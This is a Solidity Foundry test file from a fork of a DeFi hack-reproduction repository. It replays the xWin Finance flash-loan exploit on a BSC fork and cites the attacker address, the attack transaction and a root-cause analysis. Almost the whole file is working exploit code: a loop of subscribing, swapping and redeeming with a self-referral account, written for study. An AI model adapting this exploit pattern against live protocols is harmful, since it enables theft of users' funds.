forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
xWin_exp.sol
172 lines (144 loc) · 6.9 KB
/
xWin_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
// Attacker : https://bscscan.com/address/0xb63f0d8b9aa0c4e68d5630f54bfefc6cf2c2ad19
// Attack Contract : https://bscscan.com/address/0x67d3737c410f4d206012cad5cb41b2e155061945
// Attack Tx : https://bscscan.com/tx/0xba0fa8c150b2408eec9bbbbfe63f9ca63e99f3ff53ac46ee08d691883ac05c1d
// @Analysis
// https://peckshield.medium.com/xwin-finance-incident-root-cause-analysis-71d0820e6bc1
// @Summary
// This incident was due to an invalid slippage control in the protocol, which is exploited in a flashloan to obtain extra xWin rewards.
import "forge-std/Test.sol";
import "./../interface.sol";
struct TradeParams {
address xFundAddress;
uint256 amount;
uint256 priceImpactTolerance;
uint256 deadline;
bool returnInBase;
address referral;
}
interface IBank {
function flashloan(address receiver, address token, uint256 amount, bytes memory params) external;
}
interface IxWinDefi {
function Subscribe(TradeParams memory _tradeParams) external payable;
function Redeem(TradeParams memory _tradeParams) external payable;
function WithdrawReward() external payable;
}
contract SimpleAccount {
IxWinDefi xWinDefi = IxWinDefi(0x1Bf7fe7568211ecfF68B6bC7CCAd31eCd8fe8092);
IERC20 PCLPXWIN = IERC20(0x8f52e0C41164169818C1FB04B263FDC7c1e56088);
IERC20 XWIN = IERC20(0xd88ca08d8eec1E9E09562213Ae83A7853ebB5d28);
address private owner;
constructor() {
owner = msg.sender;
}
fallback() external payable {}
function subscribe() public {
require(msg.sender == owner, "only owner");
uint256 bnbbalance = address(this).balance;
TradeParams memory tradeParams = TradeParams({
xFundAddress: address(PCLPXWIN),
amount: bnbbalance,
priceImpactTolerance: 10_000,
deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,
returnInBase: false,
referral: 0x0000000000000000000000000000000000000000
});
xWinDefi.Subscribe{value: 11}(tradeParams);
}
function withdrawRewards() external {
require(msg.sender == owner, "only owner");
xWinDefi.WithdrawReward();
XWIN.transfer(address(owner), XWIN.balanceOf(address(this)));
}
}
contract XWinExpTest is Test {
CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IBank bank = IBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);
IxWinDefi xWinDefi = IxWinDefi(0x1Bf7fe7568211ecfF68B6bC7CCAd31eCd8fe8092);
IPancakePair xwinwbnbpair = IPancakePair(0x2D74b7DbF2835aCadd8d4eF75B841c01E1a68383);
IPancakePair xwinwbnbpair2 = IPancakePair(0xD4A3Dcf47887636B19eD1b54AAb722Bd620e5fb4);
IERC20 XWIN = IERC20(0xd88ca08d8eec1E9E09562213Ae83A7853ebB5d28);
WETH9 WBNB = WETH9(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 PCLPXWIN = IERC20(0x8f52e0C41164169818C1FB04B263FDC7c1e56088);
address payable private repayAddr = payable(0xc78248D676DeBB4597e88071D3d889eCA70E5469);
function setUp() public {
cheat.createSelectFork("bsc", 8_589_725);
deal(address(this), 0);
}
function testExploit() external {
bank.flashloan(address(this), 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 76_000_000_000_000_000_000_000, "");
emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);
}
function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external {
require(address(this).balance == 76_000_000_000_000_000_000_000, "error");
SimpleAccount account1 = new SimpleAccount();
payable(address(account1)).call{value: 11}("");
account1.subscribe();
for (uint256 i = 0; i < 20; i++) {
uint256 bnbbalance = address(this).balance;
TradeParams memory tradeParams = TradeParams({
xFundAddress: address(PCLPXWIN),
amount: bnbbalance,
priceImpactTolerance: 10_000,
deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,
returnInBase: false,
referral: address(account1)
});
xWinDefi.Subscribe{value: bnbbalance}(tradeParams);
(uint112 reserve0, uint112 reserve1,) = xwinwbnbpair.getReserves();
uint256 xwinbalance = XWIN.balanceOf(address(this));
uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0);
XWIN.transfer(address(xwinwbnbpair), xwinbalance);
xwinwbnbpair.swap(wbnbout, 0, address(this), "");
WBNB.withdraw(WBNB.balanceOf(address(this)));
// emit log_named_decimal_uint(
// "Attacker BNB balance in exploit",
// bnbbalance,
// 18
// );
redeem();
}
account1.withdrawRewards();
emit log_named_decimal_uint(
"Attacker XWIN balance after exploit", XWIN.balanceOf(address(this)), XWIN.decimals()
);
uint256 xwinbalance = XWIN.balanceOf(address(this));
(uint112 reserve0, uint112 reserve1,) = xwinwbnbpair2.getReserves();
uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0);
XWIN.transfer(address(xwinwbnbpair2), xwinbalance);
xwinwbnbpair2.swap(wbnbout, 0, address(this), "");
require(WBNB.balanceOf(address(this)) > fee, "must great than fee");
WBNB.withdraw(WBNB.balanceOf(address(this)));
payable(repayAddr).call{value: amount + fee}("");
}
function redeem() public payable {
PCLPXWIN.approve(
address(xWinDefi), 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000
);
uint256 pclpxwinbalance = PCLPXWIN.balanceOf(address(this));
TradeParams memory tradeParams = TradeParams({
xFundAddress: address(PCLPXWIN),
amount: pclpxwinbalance,
priceImpactTolerance: 10_000,
deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,
returnInBase: false,
referral: 0x0000000000000000000000000000000000000000
});
xWinDefi.Redeem(tradeParams);
}
fallback() external payable {}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "PancakeLibrary: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "PancakeLibrary: INSUFFICIENT_LIQUIDITY");
uint256 amountInWithFee = amountIn * (10_000 - 25);
uint256 numerator = amountInWithFee * reserveOut;
uint256 denominator = reserveIn * 10_000 + amountInWithFee;
amountOut = numerator / denominator;
}
}